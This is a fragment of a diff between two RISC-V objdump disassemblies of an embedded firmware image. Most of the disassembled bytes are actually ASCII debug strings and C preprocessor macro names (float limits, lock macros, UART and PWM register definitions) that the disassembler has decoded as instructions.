-    68ca:	5f5f202b          	0x5f5f202b
-    68ce:	43554e47          	fmsub.d	ft8,fa0,fs5,fs0,rmm
-    68d2:	4d5f 4e49 524f      	0x524f4e494d5f
-    68d8:	5f5f 3e20 203d      	0x203d3e205f5f
-    68de:	2828                	fld	fa0,80(s0)
-    68e0:	616d                	addi	sp,sp,240
-    68e2:	296a                	fld	fs2,152(sp)
-    68e4:	3c20                	fld	fs0,120(s0)
-    68e6:	203c                	fld	fa5,64(s0)
-    68e8:	3631                	jal	63f4 <__stack_size+0x5bf4>
-    68ea:	2029                	jal	68f4 <__stack_size+0x60f4>
-    68ec:	6d28202b          	0x6d28202b
-    68f0:	6e69                	lui	t3,0x1a
-    68f2:	2929                	jal	6d0c <__stack_size+0x650c>
-    68f4:	5300                	lw	s0,32(a4)
-    68f6:	495f 5557 5253      	0x52535557495f
-    68fc:	3020                	fld	fs0,96(s0)
-    68fe:	3030                	fld	fa2,96(s0)
-    6900:	3230                	fld	fa2,96(a2)
-    6902:	3030                	fld	fa2,96(s0)
-    6904:	5f00                	lw	s0,56(a4)
-    6906:	465f 544c 3436      	0x3436544c465f
-    690c:	485f 5341 495f      	0x495f5341485f
-    6912:	464e                	lw	a2,208(sp)
-    6914:	4e49                	li	t3,18
-    6916:	5449                	li	s0,-14
-    6918:	5f59                	li	t5,-10
-    691a:	205f 0031 6d70      	0x6d700031205f
-    6920:	6370                	flw	fa2,68(a4)
-    6922:	6766                	flw	fa4,88(sp)
-    6924:	0030                	addi	a2,sp,8
-    6926:	6d70                	flw	fa2,92(a0)
-    6928:	6370                	flw	fa2,68(a4)
-    692a:	6766                	flw	fa4,88(sp)
-    692c:	0031                	c.nop	12
-    692e:	5f5f 4f4c 474e      	0x474e4f4c5f5f
-    6934:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    693a:	414d                	li	sp,19
-    693c:	5f58                	lw	a4,60(a4)
-    693e:	205f 7830 6637      	0x66377830205f
-    6944:	6666                	flw	fa2,88(sp)
-    6946:	6666                	flw	fa2,88(sp)
-    6948:	6666                	flw	fa2,88(sp)
-    694a:	6666                	flw	fa2,88(sp)
-    694c:	6666                	flw	fa2,88(sp)
-    694e:	6666                	flw	fa2,88(sp)
-    6950:	6666                	flw	fa2,88(sp)
-    6952:	4c4c                	lw	a1,28(s0)
-    6954:	5f00                	lw	s0,56(a4)
-    6956:	465f 544c 3436      	0x3436544c465f
-    695c:	5f58                	lw	a4,60(a4)
-    695e:	414d                	li	sp,19
-    6960:	5f58                	lw	a4,60(a4)
-    6962:	5845                	li	a6,-15
-    6964:	5f50                	lw	a2,60(a4)
-    6966:	205f 3631 3833      	0x38333631205f
-    696c:	0034                	addi	a3,sp,8
-    696e:	545f 575f 4843      	0x4843575f545f
-    6974:	5241                	li	tp,-16
-    6976:	205f 5300 495f      	0x495f5300205f
-    697c:	48544f57          	0x48544f57
-    6980:	3020                	fld	fs0,96(s0)
-    6982:	3030                	fld	fa2,96(s0)
-    6984:	3030                	fld	fa2,96(s0)
-    6986:	3230                	fld	fa2,96(a2)
-    6988:	5f00                	lw	s0,56(a4)
-    698a:	4148                	lw	a0,4(a0)
-    698c:	4556                	lw	a0,84(sp)
-    698e:	435f 5f43 4e49      	0x4e495f43435f
-    6994:	4948                	lw	a0,20(a0)
-    6996:	4942                	lw	s2,16(sp)
-    6998:	5f54                	lw	a3,60(a4)
-    699a:	4f4c                	lw	a1,28(a4)
-    699c:	545f504f          	0x545f504f
-    69a0:	494c5f4f          	fnmadd.s	ft10,fs8,fs4,fs1,unknown
-    69a4:	4342                	lw	t1,16(sp)
-    69a6:	4c41                	li	s8,16
-    69a8:	204c                	fld	fa1,128(s0)
-    69aa:	0031                	c.nop	12
-    69ac:	5f5f 4f43 434e      	0x434e4f435f5f
-    69b2:	5441                	li	s0,-16
-    69b4:	2831                	jal	69d0 <__stack_size+0x61d0>
-    69b6:	2c78                	fld	fa4,216(s0)
-    69b8:	2979                	jal	6e56 <__stack_size+0x6656>
-    69ba:	7820                	flw	fs0,112(s0)
-    69bc:	2320                	fld	fs0,64(a4)
-    69be:	00792023          	sw	t2,0(s2) # 1d000 <__stack_size+0x1c800>
-    69c2:	4c55                	li	s8,21
-    69c4:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    69c8:	4f4c                	lw	a1,28(a4)
-    69ca:	474e                	lw	a4,208(sp)
-    69cc:	4d5f 5841 2820      	0x282058414d5f
-    69d2:	4f4c                	lw	a1,28(a4)
-    69d4:	474e                	lw	a4,208(sp)
-    69d6:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    69dc:	414d                	li	sp,19
-    69de:	2058                	fld	fa4,128(s0)
-    69e0:	202a                	fld	ft0,136(sp)
-    69e2:	5532                	lw	a0,44(sp)
-    69e4:	4c4c                	lw	a1,28(s0)
-    69e6:	2b20                	fld	fs0,80(a4)
-    69e8:	3120                	fld	fs0,96(a0)
-    69ea:	4c55                	li	s8,21
-    69ec:	294c                	fld	fa1,144(a0)
-    69ee:	5f00                	lw	s0,56(a4)
-    69f0:	525f 5343 4449      	0x44495343525f
-    69f6:	535f 554f 4352      	0x4352554f535f
-    69fc:	2845                	jal	6aac <__stack_size+0x62ac>
-    69fe:	73202973          	csrr	s2,0x732
-    6a02:	7274                	flw	fa3,100(a2)
-    6a04:	6375                	lui	t1,0x1d
-    6a06:	2074                	fld	fa3,192(s0)
-    6a08:	5f5f 6168 6b63      	0x6b6361685f5f
-    6a0e:	4600                	lw	s0,8(a2)
-    6a10:	555f 4c4e 4b43      	0x4b434c4e555f
-    6a16:	3320                	fld	fs0,96(a4)
-    6a18:	4900                	lw	s0,16(a0)
-    6a1a:	544e                	lw	s0,240(sp)
-    6a1c:	3436                	fld	fs0,360(sp)
-    6a1e:	435f 6328 2029      	0x20296328435f
-    6a24:	5f5f 4e49 3654      	0x36544e495f5f
-    6a2a:	5f34                	lw	a3,120(a4)
-    6a2c:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    6a30:	5f00                	lw	s0,56(a4)
-    6a32:	475f 4343 415f      	0x415f4343475f
-    6a38:	4f54                	lw	a3,28(a4)
-    6a3a:	494d                	li	s2,19
-    6a3c:	4c4c5f43          	0x4c4c5f43
-    6a40:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    6a44:	4f4c                	lw	a1,28(a4)
-    6a46:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
-    6a4a:	4552                	lw	a0,20(sp)
-    6a4c:	2045                	jal	6aec <__stack_size+0x62ec>
-    6a4e:	0031                	c.nop	12
-    6a50:	535f 5359 435f      	0x435f5359535f
-    6a56:	4544                	lw	s1,12(a0)
-    6a58:	5346                	lw	t1,112(sp)
-    6a5a:	485f 205f 4d00      	0x4d00205f485f
-    6a60:	4f5a                	lw	t5,148(sp)
-    6a62:	454e                	lw	a0,208(sp)
-    6a64:	435f 5253 2852      	0x28525253435f
-    6a6a:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    6a6e:	5858                	lw	a4,52(s0)
-    6a70:	2958                	fld	fa4,144(a0)
-    6a72:	2820                	fld	fs0,80(s0)
-    6a74:	6572207b          	0x6572207b
-    6a78:	74736967          	0x74736967
-    6a7c:	7265                	lui	tp,0xffff9
-    6a7e:	7520                	flw	fs0,104(a0)
-    6a80:	736e                	flw	ft6,248(sp)
-    6a82:	6769                	lui	a4,0x1a
-    6a84:	656e                	flw	fa0,216(sp)
-    6a86:	2064                	fld	fs1,192(s0)
-    6a88:	6f6c                	flw	fa1,92(a4)
-    6a8a:	676e                	flw	fa4,216(sp)
-    6a8c:	6120                	flw	fs0,64(a0)
-    6a8e:	2030                	fld	fa2,64(s0)
-    6a90:	7361                	lui	t1,0xffff8
-    6a92:	206d                	jal	6b3c <__stack_size+0x633c>
-    6a94:	2228                	fld	fa0,64(a2)
-    6a96:	3061                	jal	631e <__stack_size+0x5b1e>
-    6a98:	2922                	fld	fs2,8(sp)
-    6a9a:	7361203b          	0x7361203b
-    6a9e:	206d                	jal	6b48 <__stack_size+0x6348>
-    6aa0:	6f76                	flw	ft10,92(sp)
-    6aa2:	616c                	flw	fa1,68(a0)
-    6aa4:	6974                	flw	fa3,84(a0)
-    6aa6:	656c                	flw	fa1,76(a0)
-    6aa8:	2820                	fld	fs0,80(s0)
-    6aaa:	2220                	fld	fs0,64(a2)
-    6aac:	766d                	lui	a2,0xffffb
-    6aae:	6120                	flw	fs0,64(a0)
-    6ab0:	2c31                	jal	6ccc <__stack_size+0x64cc>
-    6ab2:	2520                	fld	fs0,72(a0)
-    6ab4:	3b31                	jal	67d0 <__stack_size+0x5fd0>
-    6ab6:	2022                	fld	ft0,8(sp)
-    6ab8:	6c22                	flw	fs8,8(sp)
-    6aba:	2069                	jal	6b44 <__stack_size+0x6344>
-    6abc:	3061                	jal	6344 <__stack_size+0x5b44>
-    6abe:	202c                	fld	fa1,64(s0)
-    6ac0:	3b38                	fld	fa4,112(a4)
-    6ac2:	2022                	fld	ft0,8(sp)
-    6ac4:	7a6d                	lui	s4,0xffffb
-    6ac6:	20656e6f          	jal	t3,5cccc <__stack_size+0x5c4cc>
-    6aca:	203a                	fld	ft0,392(sp)
-    6acc:	3d22                	fld	fs10,40(sp)
-    6ace:	2272                	fld	ft4,280(sp)
-    6ad0:	6128                	flw	fa0,64(a0)
-    6ad2:	2930                	fld	fa2,80(a0)
-    6ad4:	3a20                	fld	fs0,112(a2)
-    6ad6:	2220                	fld	fs0,64(a2)
-    6ad8:	2272                	fld	ft4,280(sp)
-    6ada:	2828                	fld	fa0,80(s0)
-    6adc:	6e75                	lui	t3,0x1d
-    6ade:	6e676973          	csrrsi	s2,0x6e6,14
-    6ae2:	6465                	lui	s0,0x19
-    6ae4:	6c20                	flw	fs0,88(s0)
-    6ae6:	29676e6f          	jal	t3,7cd7c <__stack_size+0x7c57c>
-    6aea:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    6aee:	5858                	lw	a4,52(s0)
-    6af0:	2958                	fld	fa4,144(a0)
-    6af2:	3a20                	fld	fs0,112(a2)
-    6af4:	2220                	fld	fs0,64(a2)
-    6af6:	3161                	jal	677e <__stack_size+0x5f7e>
-    6af8:	2922                	fld	fs2,8(sp)
-    6afa:	3061203b          	0x3061203b
-    6afe:	297d203b          	0x297d203b
-    6b02:	5f00                	lw	s0,56(a4)
-    6b04:	465f 544c 4d5f      	0x4d5f544c465f
-    6b0a:	5841                	li	a6,-16
-    6b0c:	5f5f 3320 342e      	0x342e33205f5f
-    6b12:	3230                	fld	fa2,96(a2)
-    6b14:	3238                	fld	fa4,96(a2)
-    6b16:	36363433          	0x36363433
-    6b1a:	32353833          	0x32353833
-    6b1e:	3838                	fld	fa4,112(s0)
-    6b20:	3935                	jal	675c <__stack_size+0x5f5c>
-    6b22:	3138                	fld	fa4,96(a0)
-    6b24:	3731                	jal	6a30 <__stack_size+0x6230>
-    6b26:	3430                	fld	fa2,104(s0)
-    6b28:	3831                	jal	6344 <__stack_size+0x5b44>
-    6b2a:	34383433          	0x34383433
-    6b2e:	3135                	jal	675a <__stack_size+0x5f5a>
-    6b30:	3936                	fld	fs2,360(sp)
-    6b32:	3532                	fld	fa0,296(sp)
-    6b34:	2b65                	jal	70ec <__stack_size+0x68ec>
-    6b36:	00463833          	sltu	a6,a2,tp
-    6b3a:	5f5f 4f4c 474e      	0x474e4f4c5f5f
-    6b40:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    6b46:	54444957          	0x54444957
-    6b4a:	5f48                	lw	a0,60(a4)
-    6b4c:	205f 3436 4900      	0x49003436205f
-    6b52:	544e                	lw	s0,240(sp)
-    6b54:	4c5f 4145 5453      	0x545341454c5f
-    6b5a:	3436                	fld	fs0,360(sp)
-    6b5c:	4d5f 4e49 5f00      	0x5f004e494d5f
-    6b62:	4d5f 4341 4948      	0x494843414d5f
-    6b68:	454e                	lw	a0,208(sp)
-    6b6a:	455f 444e 4149      	0x4149444e455f
-    6b70:	5f4e                	lw	t5,240(sp)
-    6b72:	5f48                	lw	a0,60(a4)
-    6b74:	205f 5f00 6c5f      	0x6c5f5f00205f
-    6b7a:	5f6b636f          	jal	t1,bd170 <__stack_size+0xbc970>
-    6b7e:	6e69                	lui	t3,0x1a
-    6b80:	7469                	lui	s0,0xffffa
-    6b82:	6c28                	flw	fa0,88(s0)
-    6b84:	296b636f          	jal	t1,bce1a <__stack_size+0xbc61a>
-    6b88:	2820                	fld	fs0,80(s0)
-    6b8a:	7628                	flw	fa0,104(a2)
-    6b8c:	2964696f          	jal	s2,4ce22 <__stack_size+0x4c622>
-    6b90:	3020                	fld	fs0,96(s0)
-    6b92:	0029                	c.nop	10
-    6b94:	535f 5f43 3656      	0x36565f43535f
-    6b9a:	4c5f 3650 5f34      	0x5f3436504c5f
-    6ba0:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
-    6ba4:	2034                	fld	fa3,64(s0)
-    6ba6:	535f 5f43 3756      	0x37565f43535f
-    6bac:	4c5f 3650 5f34      	0x5f3436504c5f
-    6bb2:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
-    6bb6:	0034                	addi	a3,sp,8
-    6bb8:	465f 414d 4b52      	0x4b52414d465f
-    6bbe:	3020                	fld	fs0,96(s0)
-    6bc0:	3078                	fld	fa4,224(s0)
-    6bc2:	3130                	fld	fa2,96(a0)
-    6bc4:	0030                	addi	a2,sp,8
-    6bc6:	5f5f 454e 4c57      	0x4c57454e5f5f
-    6bcc:	4249                	li	tp,18
-    6bce:	485f 5f5f 3120      	0x31205f5f485f
-    6bd4:	5500                	lw	s0,40(a0)
-    6bd6:	5241                	li	tp,-16
-    6bd8:	5f54                	lw	a3,60(a4)
-    6bda:	4549                	li	a0,18
-    6bdc:	3020                	fld	fs0,96(s0)
-    6bde:	3178                	fld	fa4,224(a0)
-    6be0:	0030                	addi	a2,sp,8
-    6be2:	505f 5f43 5341      	0x53415f43505f
-    6be8:	4e59                	li	t3,22
-    6bea:	4f495f43          	fmadd.q	ft10,fs2,fs4,fs1,unknown
-    6bee:	3920                	fld	fs0,112(a0)
-    6bf0:	5f00                	lw	s0,56(a4)
-    6bf2:	545f4353          	0x545f4353
-    6bf6:	5248                	lw	a0,36(a2)
-    6bf8:	4145                	li	sp,17
-    6bfa:	5f44                	lw	s1,60(a4)
-    6bfc:	5250                	lw	a2,36(a2)
-    6bfe:	4f49                	li	t5,18
-    6c00:	495f 484e 5245      	0x5245484e495f
-    6c06:	5449                	li	s0,-14
-    6c08:	3420                	fld	fs0,104(s0)
-    6c0a:	0036                	c.slli	zero,0xd
-    6c0c:	4152                	lw	sp,20(sp)
-    6c0e:	444e                	lw	s0,208(sp)
-    6c10:	4d5f 5841 5f20      	0x5f2058414d5f
-    6c16:	525f 4e41 5f44      	0x5f444e41525f
-    6c1c:	414d                	li	sp,19
-    6c1e:	0058                	addi	a4,sp,4
-    6c20:	545f 4d49 5f45      	0x5f454d49545f
-    6c26:	5f48                	lw	a0,60(a4)
-    6c28:	0020                	addi	s0,sp,8
-    6c2a:	5750                	lw	a2,44(a4)
-    6c2c:	5f4d                	li	t5,-13
-    6c2e:	4142                	lw	sp,16(sp)
-    6c30:	30204553          	0x30204553
-    6c34:	3178                	fld	fa4,224(a0)
-    6c36:	3030                	fld	fa2,96(s0)
-    6c38:	3532                	fld	fa0,296(sp)
-    6c3a:	3030                	fld	fa2,96(s0)
-    6c3c:	0030                	addi	a2,sp,8
-    6c3e:	5f5f 4f53 5450      	0x54504f535f5f
-    6c44:	3020                	fld	fs0,96(s0)
-    6c46:	3078                	fld	fa4,224(s0)
-    6c48:	3034                	fld	fa3,96(s0)
-    6c4a:	0030                	addi	a2,sp,8
-    6c4c:	525f 4545 544e      	0x544e4545525f
-    6c52:	535f 4749 414e      	0x414e4749535f
-    6c58:	5f4c                	lw	a1,60(a4)
-    6c5a:	5542                	lw	a0,48(sp)
-    6c5c:	2846                	fld	fa6,80(sp)
-    6c5e:	7470                	flw	fa2,108(s0)
-    6c60:	2972                	fld	fs2,280(sp)
-    6c62:	2820                	fld	fs0,80(s0)
-    6c64:	7028                	flw	fa0,96(s0)
-    6c66:	7274                	flw	fa3,100(a2)
-    6c68:	2d29                	jal	7282 <__stack_size+0x6a82>
-    6c6a:	5f3e                	lw	t5,236(sp)
-    6c6c:	656e                	flw	fa0,216(sp)
-    6c6e:	725f2e77          	0x725f2e77
-    6c72:	6565                	lui	a0,0x19
-    6c74:	746e                	flw	fs0,248(sp)
-    6c76:	5f2e                	lw	t5,232(sp)
-    6c78:	6e676973          	csrrsi	s2,0x6e6,14
-    6c7c:	6c61                	lui	s8,0x18
-    6c7e:	625f 6675 0029      	0x296675625f
-    6c84:	5f5f 444c 4c42      	0x4c42444c5f5f
-    6c8a:	485f 5341 515f      	0x515f5341485f
-    6c90:	4955                	li	s2,21
-    6c92:	5445                	li	s0,-15
-    6c94:	4e5f 4e41 5f5f      	0x5f5f4e414e5f
-    6c9a:	3120                	fld	fs0,96(a0)
-    6c9c:	4300                	lw	s0,0(a4)
-    6c9e:	4d5f5253          	0x4d5f5253
-    6ca2:	4c435943          	0x4c435943
-    6ca6:	2045                	jal	6d46 <__stack_size+0x6546>
-    6ca8:	3331                	jal	69b4 <__stack_size+0x61b4>
-    6caa:	5f00                	lw	s0,56(a4)
-    6cac:	414d                	li	sp,19
-    6cae:	49544843          	fmadd.s	fa6,fs0,fs5,fs1,rmm
-    6cb2:	454d                	li	a0,19
-    6cb4:	485f 205f 5f00      	0x5f00205f485f
-    6cba:	465f 544c 3436      	0x3436544c465f
-    6cc0:	445f 4e45 524f      	0x524f4e45445f
-    6cc6:	5f4d                	li	t5,-13
-    6cc8:	494d                	li	s2,19
-    6cca:	5f4e                	lw	t5,240(sp)
-    6ccc:	205f 2e34 3439      	0x34392e34205f
-    6cd2:	3630                	fld	fa2,104(a2)
-    6cd4:	3635                	jal	6800 <__stack_size+0x6000>
-    6cd6:	3534                	fld	fa3,104(a0)
-    6cd8:	3438                	fld	fa4,104(s0)
-    6cda:	3231                	jal	65e6 <__stack_size+0x5de6>
-    6cdc:	3634                	fld	fa3,104(a2)
-    6cde:	3435                	jal	670a <__stack_size+0x5f0a>
-    6ce0:	3134                	fld	fa3,96(a0)
-    6ce2:	36353637          	lui	a2,0x36353
-    6ce6:	3738                	fld	fa4,104(a4)
-    6ce8:	3239                	jal	65f6 <__stack_size+0x5df6>
-    6cea:	3638                	fld	fa4,104(a2)
-    6cec:	3238                	fld	fa4,96(a2)
-    6cee:	3132                	fld	ft2,296(sp)
-    6cf0:	65323733          	0x65323733
-    6cf4:	332d                	jal	6a1e <__stack_size+0x621e>
-    6cf6:	3432                	fld	fs0,296(sp)
-    6cf8:	3646                	fld	fa2,112(sp)
-    6cfa:	0034                	addi	a3,sp,8
-    6cfc:	5f5f 4c46 3354      	0x33544c465f5f
-    6d02:	5f32                	lw	t5,44(sp)
-    6d04:	4148                	lw	a0,4(a0)
-    6d06:	45445f53          	0x45445f53
-    6d0a:	4f4e                	lw	t5,208(sp)
-    6d0c:	4d52                	lw	s10,20(sp)
-    6d0e:	5f5f 3120 5f00      	0x5f0031205f5f
-    6d14:	4f50                	lw	a2,28(a4)
-    6d16:	5f584953          	0x5f584953
-    6d1a:	4f535f43          	fmadd.q	ft10,ft6,fs5,fs1,unknown
-    6d1e:	5255                	li	tp,-11
-    6d20:	32204543          	fmadd.d	fa0,ft0,ft2,ft6,rmm
-    6d24:	3030                	fld	fa2,96(s0)
-    6d26:	3038                	fld	fa4,96(s0)
-    6d28:	4c39                	li	s8,14
-    6d2a:	5f00                	lw	s0,56(a4)
-    6d2c:	4544                	lw	s1,12(a0)
-    6d2e:	4146                	lw	sp,80(sp)
-    6d30:	4c55                	li	s8,21
-    6d32:	5f54                	lw	a3,60(a4)
-    6d34:	52554f53          	0x52554f53
-    6d38:	31204543          	fmadd.s	fa0,ft0,fs2,ft6,rmm
-    6d3c:	5f00                	lw	s0,56(a4)
-    6d3e:	494c                	lw	a1,20(a0)
-    6d40:	5454                	lw	a3,44(s0)
-    6d42:	454c                	lw	a1,12(a0)
-    6d44:	455f 444e 4149      	0x4149444e455f
-    6d4a:	204e                	fld	ft0,208(sp)
-    6d4c:	3231                	jal	6658 <__stack_size+0x5e58>
-    6d4e:	5f003433          	0x5f003433
-    6d52:	545f4353          	0x545f4353
-    6d56:	5248                	lw	a0,36(a2)
-    6d58:	4145                	li	sp,17
-    6d5a:	5f44                	lw	s1,60(a4)
-    6d5c:	4544                	lw	s1,12(a0)
-    6d5e:	55525453          	0x55525453
-    6d62:	524f5443          	fmadd.d	fs0,ft10,ft4,fa0,unknown
-    6d66:	495f 4554 4152      	0x41524554495f
-    6d6c:	4954                	lw	a3,20(a0)
-    6d6e:	20534e4f          	fnmadd.s	ft8,ft6,ft5,ft4,rmm
-    6d72:	3335                	jal	6a9e <__stack_size+0x629e>
-    6d74:	5f00                	lw	s0,56(a4)
-    6d76:	755f 695f 746e      	0x746e695f755f
-    6d7c:	645f 6665 6e69      	0x6e696665645f
-    6d82:	6465                	lui	s0,0x19
-    6d84:	0020                	addi	s0,sp,8
-    6d86:	5f5f 4c46 3654      	0x36544c465f5f
-    6d8c:	5834                	lw	a3,112(s0)
-    6d8e:	4d5f 4e41 5f54      	0x5f544e414d5f
-    6d94:	4944                	lw	s1,20(a0)
-    6d96:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    6d9a:	3131                	jal	69a6 <__stack_size+0x61a6>
-    6d9c:	6c780033          	0x6c780033
-    6da0:	6e65                	lui	t3,0x19
-    6da2:	4400                	lw	s0,8(s0)
-    6da4:	414d                	li	sp,19
-    6da6:	545f 5f52 4953      	0x49535f52545f
-    6dac:	455a                	lw	a0,148(sp)
-    6dae:	4f5f 4646 3020      	0x302046464f5f
-    6db4:	3578                	fld	fa4,232(a0)
-    6db6:	0030                	addi	a2,sp,8
-    6db8:	41484357          	0x41484357
-    6dbc:	5f52                	lw	t5,52(sp)
-    6dbe:	414d                	li	sp,19
-    6dc0:	0058                	addi	a4,sp,4
-    6dc2:	435f 4f4c 4b43      	0x4b434f4c435f
-    6dc8:	545f 445f 4345      	0x4345445f545f
-    6dce:	414c                	lw	a1,4(a0)
-    6dd0:	4552                	lw	a0,20(sp)
-    6dd2:	2044                	fld	fs1,128(s0)
-    6dd4:	4300                	lw	s0,0(a4)
-    6dd6:	4f4c                	lw	a1,28(a4)
-    6dd8:	445f4b43          	0x445f4b43
-    6ddc:	5349                	li	t1,-14
-    6dde:	4241                	li	tp,16
+    5ebc:	49525453          	0x49525453
+    5ec0:	474e                	lw	a4,208(sp)
+    5ec2:	485f 205f 5f00      	0x5f00205f485f
+    5ec8:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    5ece:	736f6c63          	bltu	t5,s6,6606 <__stack_size+0x5e06>
+    5ed2:	2865                	jal	5f8a <__stack_size+0x578a>
+    5ed4:	6f6c                	flw	fa1,92(a4)
+    5ed6:	20296b63          	bltu	s2,sp,60ec <__stack_size+0x58ec>
+    5eda:	2828                	fld	fa0,80(s0)
+    5edc:	6f76                	flw	ft10,92(sp)
+    5ede:	6469                	lui	s0,0x1a
+    5ee0:	2029                	jal	5eea <__stack_size+0x56ea>
+    5ee2:	2930                	fld	fa2,80(a0)
+    5ee4:	5300                	lw	s0,32(a4)
+    5ee6:	4545                	li	a0,17
+    5ee8:	55435f4b          	0x55435f4b
+    5eec:	2052                	fld	ft0,272(sp)
+    5eee:	0031                	c.nop	12
+    5ef0:	5f5f 6177 6e72      	0x6e7261775f5f
+    5ef6:	725f 6665 7265      	0x72656665725f
+    5efc:	6e65                	lui	t3,0x19
+    5efe:	28736563          	bltu	t1,t2,6188 <__stack_size+0x5988>
+    5f02:	2c6d7973          	csrrci	s2,0x2c6,26
+    5f06:	736d                	lui	t1,0xffffb
+    5f08:	5f202967          	0x5f202967
+    5f0c:	615f 6d73 5f5f      	0x5f5f6d73615f
+    5f12:	2228                	fld	fa0,64(a2)
+    5f14:	732e                	flw	ft6,232(sp)
+    5f16:	6365                	lui	t1,0x19
+    5f18:	6974                	flw	fa3,84(a0)
+    5f1a:	2e206e6f          	jal	t3,c1fc <__stack_size+0xb9fc>
+    5f1e:	2e756e67          	0x2e756e67
+    5f22:	6e726177          	0x6e726177
+    5f26:	6e69                	lui	t3,0x1a
+    5f28:	20222e67          	0x20222e67
+    5f2c:	6d797323          	0x6d797323
+    5f30:	3b29                	jal	5c4a <__stack_size+0x544a>
+    5f32:	5f20                	lw	s0,120(a4)
+    5f34:	615f 6d73 5f5f      	0x5f5f6d73615f
+    5f3a:	2228                	fld	fa0,64(a2)
+    5f3c:	612e                	flw	ft2,200(sp)
+    5f3e:	7a696373          	csrrsi	t1,0x7a6,18
+    5f42:	5c20                	lw	s0,120(s0)
+    5f44:	2222                	fld	ft4,8(sp)
+    5f46:	6d20                	flw	fs0,88(a0)
+    5f48:	22206773          	csrrsi	a4,0x222,0
+    5f4c:	225c                	fld	fa5,128(a2)
+    5f4e:	2922                	fld	fs2,8(sp)
+    5f50:	5f5f203b          	0x5f5f203b
+    5f54:	7361                	lui	t1,0xffff8
+    5f56:	5f6d                	li	t5,-5
+    5f58:	285f 2e22 7270      	0x72702e22285f
+    5f5e:	7665                	lui	a2,0xffff9
+    5f60:	6f69                	lui	t5,0x1a
+    5f62:	7375                	lui	t1,0xffffd
+    5f64:	2922                	fld	fs2,8(sp)
+    5f66:	5f00                	lw	s0,56(a4)
+    5f68:	4552                	lw	a0,20(sp)
+    5f6a:	4e45                	li	t3,17
+    5f6c:	5f54                	lw	a3,60(a4)
+    5f6e:	5341                	li	t1,-16
+    5f70:	4d495443          	0x4d495443
+    5f74:	5f45                	li	t5,-15
+    5f76:	5542                	lw	a0,48(sp)
+    5f78:	2846                	fld	fa6,80(sp)
+    5f7a:	7470                	flw	fa2,108(s0)
+    5f7c:	2972                	fld	fs2,280(sp)
+    5f7e:	2820                	fld	fs0,80(s0)
+    5f80:	7028                	flw	fa0,96(s0)
+    5f82:	7274                	flw	fa3,100(a2)
+    5f84:	2d29                	jal	659e <__stack_size+0x5d9e>
+    5f86:	5f3e                	lw	t5,236(sp)
+    5f88:	656e                	flw	fa0,216(sp)
+    5f8a:	725f2e77          	0x725f2e77
+    5f8e:	6565                	lui	a0,0x19
+    5f90:	746e                	flw	fs0,248(sp)
+    5f92:	5f2e                	lw	t5,232(sp)
+    5f94:	7361                	lui	t1,0xffff8
+    5f96:	6d697463          	bgeu	s2,s6,665e <__stack_size+0x5e5e>
+    5f9a:	5f65                	li	t5,-7
+    5f9c:	7562                	flw	fa0,56(sp)
+    5f9e:	2966                	fld	fs2,88(sp)
+    5fa0:	5f00                	lw	s0,56(a4)
+    5fa2:	4146                	lw	sp,80(sp)
+    5fa4:	434e5953          	0x434e5953
+    5fa8:	3020                	fld	fs0,96(s0)
+    5faa:	3078                	fld	fa4,224(s0)
+    5fac:	3430                	fld	fa2,104(s0)
+    5fae:	0030                	addi	a2,sp,8
+    5fb0:	5f5f 4e49 5f54      	0x5f544e495f5f
+    5fb6:	4146                	lw	sp,80(sp)
+    5fb8:	5f385453          	0x5f385453
+    5fbc:	5954                	lw	a3,52(a0)
+    5fbe:	4550                	lw	a2,12(a0)
+    5fc0:	5f5f 6920 746e      	0x746e69205f5f
+    5fc6:	5f00                	lw	s0,56(a4)
+    5fc8:	5246                	lw	tp,112(sp)
+    5fca:	4145                	li	sp,17
+    5fcc:	2044                	fld	fs1,128(s0)
+    5fce:	7830                	flw	fa2,112(s0)
+    5fd0:	3030                	fld	fa2,96(s0)
+    5fd2:	3130                	fld	fa2,96(a0)
+    5fd4:	5500                	lw	s0,40(a0)
+    5fd6:	4e49                	li	t3,18
+    5fd8:	3854                	fld	fa3,176(s0)
+    5fda:	435f 6328 2029      	0x20296328435f
+    5fe0:	5f5f 4955 544e      	0x544e49555f5f
+    5fe6:	5f38                	lw	a4,120(a4)
+    5fe8:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    5fec:	5500                	lw	s0,40(a0)
+    5fee:	4e49                	li	t3,18
+    5ff0:	3354                	fld	fa3,160(a4)
+    5ff2:	5f32                	lw	t5,44(sp)
+    5ff4:	414d                	li	sp,19
+    5ff6:	0058                	addi	a4,sp,4
+    5ff8:	5f5f 7470 5f72      	0x5f7274705f5f
+    5ffe:	2074                	fld	fa3,192(s0)
+    6000:	6f76                	flw	ft10,92(sp)
+    6002:	6469                	lui	s0,0x1a
+    6004:	2a20                	fld	fs0,80(a2)
+    6006:	4300                	lw	s0,0(a4)
+    6008:	4f4c                	lw	a1,28(a4)
+    600a:	455f4b43          	0x455f4b43
+    600e:	414e                	lw	sp,208(sp)
+    6010:	4c42                	lw	s8,16(sp)
+    6012:	4445                	li	s0,17
+    6014:	3120                	fld	fs0,96(a0)
+    6016:	5f00                	lw	s0,56(a4)
+    6018:	6e5f 6565 5f64      	0x5f6465656e5f
+    601e:	7470                	flw	fa2,108(s0)
+    6020:	6472                	flw	fs0,28(sp)
+    6022:	6669                	lui	a2,0x1a
+    6024:	5f66                	lw	t5,120(sp)
+    6026:	2074                	fld	fa3,192(s0)
+    6028:	7500                	flw	fs0,40(a0)
+    602a:	736e                	flw	ft6,248(sp)
+    602c:	6769                	lui	a4,0x1a
+    602e:	656e                	flw	fa0,216(sp)
+    6030:	0064                	addi	s1,sp,12
+    6032:	5f5f 5453 4344      	0x434454535f5f
+    6038:	485f 534f 4554      	0x4554534f485f
+    603e:	5f44                	lw	s1,60(a4)
+    6040:	205f 0030 5f5f      	0x5f5f0030205f
